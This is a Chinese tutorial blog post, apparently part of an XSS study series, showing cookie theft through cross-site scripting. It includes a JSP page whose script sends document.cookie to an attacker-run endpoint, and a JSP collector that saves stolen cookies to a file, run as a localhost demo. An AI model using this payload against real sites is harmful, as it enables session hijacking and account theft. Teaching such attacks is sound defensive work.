引入:

上文中我们的例子是研究了来自内部的XSS攻击,通过输送一段有害js代码到受害者的机器,让其在受害者的域上运行这段有害JS代码来得到入侵目的。现在我们来看下来自外部的XSS攻击。

实践:

下面还是按照惯例,我用白话文来解释下什么是来自外部的XSS攻击。

假设我是攻击者,A是受害者,我知道A有个习惯,他会经常去某个奢侈品消费网站登录,然后每次登录用他的积分买很多东西,我没钱,我想通过A的账号 密码登录同样的网站,然后用他的积分去买东西给我自己。显然因为A知道我是受害者,所以我直接问A要账号密码,他肯定会报警的,怎么办呢?

这时候,我知道A经常在同一机器上登录,然后Cookie信息会存放在他那台机器的本地,于是,我就想办法植入一段恶意脚本在哪个奢侈品网站上,因 为A每次登录,它的信息都会存在Cookie中,然后我的恶意脚本就会每次从他的Cookie中读取信息,然后发送到我自己架设的服务器上,然后我自己架 设的服务器有一段代码会吧这个Cookie信息存放在本地的一个私密的文本文件中,这样他每次登录,我就能在我本地的文本文件中知道A的Cookie信息 了。当然了,为了触发那段恶意脚本,我必须确保A会点击我要的有恶意脚本的链接,我肯定会伪装一下,比如还是最常用的美女图片。

好,我们开始例子:

首先,我会在自己的磁盘目录上创建一个文本文件,比如说D:\privateLocation\stealCookieFile.txt

这个文件的作用是专门用来存储我盗取A的Cookie信息的。

然后,我就开始伪造一个带有恶意脚本的页面了:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>受害者页面,这个页面后台有XSS漏洞</title>
</head>
<script type="text/javascript">
//创建一个cookie
function createCookie(username,password){
    console.log("invoking createCookie(username,password) method");
    //设置cookie的到期时间,假设30天后到期
    var expires =new Date();
    expires.setTime(expires.getTime()+30*24*3600*1000);
    var expireInfo="expires="+expires.toUTCString();
                                                                                                                                                                                                                                                                                                                                                                                                    
    document.cookie=username+"="+password+";"+expireInfo;
    console.log("current cookie:"+document.cookie);
}
//盗用cookie
 function stealCookie(){
     window.open('http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie='+document.cookie)
 }
</script>
<body>
<form  method="post">
<p>
<span>用户名:charles,密码 123456</span>
<span>假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</span>
</p>
<input type="button" value="点击按钮会创建一个新cookie"  type="button" value="点击按钮会盗用当前的cookie" onclick="stealCookie()"/>
</form>
</body>
</html>

为了简单起见,假设这个页面是这个奢侈品网站的页面,为了模拟登录,我提供了2个按钮,假设点击第一个按钮会创建一个当前用户Cookie(或者自 动登录就是直接从Cookie中拿取用户信息),默认情况下,一般用户都会去登录页面的, 所以我这里也假定默认第一个按钮用户肯定会点的,然后第二个按钮是重点,它的背后会有一段恶意脚本,来盗取当前用户的Cookie.

然后在我盗取A的Cookie后,我得吧这个用户A的Cookie信息存起来到我的本地,以便下次我可以利用他的信息进行登录同样网站来买东西。

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>XSS盗用Cookie的Demo</title>
</head>
<body>
<%
//首先构造一个路径,这路径上的文本文件专门用来存放盗用的cookie
String stealCookieFile = "D:/privateLocation/stealCookieFile.txt";
out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"<br>");
//获取提交过来的cookie值
String cookie= request.getParameter("cookie");
out.println("cookie信息:"+cookie+"<br>");
FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));
try{
    fos.write(cookie.getBytes());
}catch(IOException ex){
    out.println("写入失败");
}finally{
    if(fos!=null){
        fos.close();
    }
}
%>
</body>
</html>

有了上述的1个文本文件和2个JSP代码之后,我们就可以来Demo了。

首先,我创建了恶意页面,假定用户已经登录了,为了模拟这种情况,需要用户点击第一个按钮:

从Console看出,已经点击了第一个按钮,这时候,其状态就相当于有一个Cookie:  charles=123456,这个信息存在在A的本地了。

现在,我要诱惑A去点击第二个按钮(假设是一个美女图片或者是非常吸引人的消息) ,当A点击了第二个按钮之后,他上当了,他的这个Cookie信息被我正确的拿到并且存放在我的本地文件中:

我去检查本地文件,果然发现A的Cookie信息被正确拿到了:

总结:

所谓外部的XSS攻击,其实是通过让用户执行一段恶意脚本,然后这段脚本会吧敏感信息偷偷的“偷”出来,然后放入攻击者的想要的地方,这些敏感信息 可以是Cookie,user-agent或者其他的,反正js能拿到的信息,这里都可以,如果攻击者很恶意,他就可以拿到这些信息去做一些非法事情。打 个不恰当的比方,比如我(入侵者)要窃取某个国家(受 害者)的战时绝密情报(比如Cookie信息),但是因为他们国家防范措施太好(同源策略) ,我没办法直接拿到,于是我买通了他们国家某个人(比如色情图片链接),然后约定每当该国家发布情报时候(也就是受害者访问某网站),就把这个情报(对应 Cookie)丢到某个指定情报交换位置(我架设的另外一台服务器),然后我从那个位置中获取这个情报(从请求对象中获取Cookie信息),然后解析它 (读取Cookie),并且存放到我自己的情报库中(我本地的私密文件中)。

XSS研究1-来自外部的XSS攻击的更多相关文章

  1. XSS研究2-来自内部的XSS攻击的防范

    引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazy ...

  2. 来自内部的XSS攻击的防范

    来自内部的XSS攻击的防范 引入:前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击. 实践:其实从 http://www.2cto ...

  3. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  4. 总结 XSS 与 CSRF 两种跨站攻击

    前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...

  5. 总结XSS与CSRF两种跨站攻击

    XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...

  6. XSS 与 CSRF 两种跨站攻击

    在前几年,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式, 但是现在参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是历史同样悠久的 ...

  7. XSS与CSRF两种跨站攻击总结

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是 ...

  8. 二十五:XSS跨站值原理分类及攻击手法

    HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

随机推荐

  1. K近邻 Python实现 机器学习实战(Machine Learning in Action)

    算法原理 K近邻是机器学习中常见的分类方法之间,也是相对最简单的一种分类方法,属于监督学习范畴.其实K近邻并没有显式的学习过程,它的学习过程就是测试过程.K近邻思想很简单:先给你一个训练数据集D,包括 ...

  2. 管中窥豹——从对象的生命周期梳理JVM内存结构、GC调优、类加载、AOP编程及性能监控

    如题,本文的宗旨既是透过对象的生命周期,来梳理JVM内存结构及GC相关知识,并辅以AOP及双亲委派机制原理,学习不仅仅是海绵式的吸收学习,还需要自己去分析why,加深对技术的理解和认知,祝大家早日走上 ...

  3. MAT(Memory Analyzer Tool)使用心得

    起因:最近在跟踪产品的性能问题,期间主要问题体现在JVM的内存回收问题,使用MAT工具进行JVM内存分析(也可对android 的应用内存分析) 问题描述: 1.部分后端服务在运行一段时间后会突然年老 ...

  4. ios 毛玻璃效果

    推荐第三方库: https://github.com/nicklockwood/FXBlurView FXBlurView*Fx=[[FXBlurView alloc]initWithFrame:CG ...

  5. 文本处理sed常用操作

    文本处理sed常用操作 linux sed (stream editor) is a Unix utility that parses and transforms text, using a sim ...

  6. Why we don’t recommend using List<T> in public APIs

    不推荐List<T>做API原因有如下两点:1.首先List<T> 设计之初就没有设计成可扩展的,我们不能重新其任何方法.这就意味着,我们操作List<T>的时候却 ...

  7. Extjs6组件——Form大家族成员介绍

    本文基于ext-6.0.0 一.xtype form一共有12种xtype,下面来一一举例说一下. 1.textfield 这个是用的最多的form之一. { xtype: 'textfield', ...

  8. angular 实现自定义样式下拉菜单

    自己闲着没事写了一个自定义的下拉菜单希望和大家交流一下!望能和大神们成为朋友. 下面上代码: <!doctype html> <html lang="en" ng ...

  9. jDialects:一个从Hibernate抽取的支持70多种数据库方言的原生SQL分页工具

    jDialects(https://git.oschina.net/drinkjava2/jdialects) 是一个收集了大多数已知数据库方言的Java小项目,通常可用来创建分页SQL和建表DDL语 ...

  10. Linux(ubuntu)安装MediaWiki

    本篇文档所述步骤,作者完全验证过.一切OK. 作者:http://gaoxingf.blog.51cto.com/612518/188132,Younger Liu 本作品采用知识共享署名-非商业性使 ...